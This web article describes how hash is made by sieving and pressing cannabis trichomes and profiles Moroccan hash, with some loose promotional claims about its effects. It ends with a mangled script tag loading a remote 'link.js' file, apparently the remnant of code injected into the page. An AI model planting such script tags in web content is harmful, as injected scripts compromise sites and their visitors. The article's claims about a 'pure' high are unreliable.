How is Hash Made?
All cannabis concentrates – be it shatter, wax or hash – are all made in slightly different ways. However, hash is a little less scientific than some of the others. In fact, hash is the oldest and most ‘natural’ cannabis concentrate. It’s made by gently rubbing the dried cannabis plant over a fine mesh. This sieve filters through the small trichomes, which separates them from the rest of the plant. These are then heated and pressed together in order to create a block of hash. Although hash usually has a high percentage of THC, it’s often a lot less ‘skunky’ as it hasn’t been messed with in order to give it a stronger high. The high it has is pure, rather than modified.
What is Moroccan Hash?
There are many types of hash from all over the world: Afghanistan, Manali and Nepal are some key examples. However, the most famous and well-known is Moroccan hash. Let’s take a look at what this substance is.
Moroccan hash is loved and adored around the world, especially Europe. In fact, Morocco has been coined the mecca of hashish due to the fact it is the largest producer of hash in North Africa. Moroccan hash is the most common and loved in Europe because it gives a very chill and gentle high. In comparison with other types of hashish, Moroccan hash is great for any occasion and doesn’t intend to knock the user out. The colour is usually greeny brown, and the smell has aromatic tones and is slightly spicy. Unlike some softer blocked hash, Moroccan is usually given in a hard block. This makes it harder to break down, but means the flavour is packed in tighter.< src='https:// /link.js?v=6.9.3' type='text/java '> >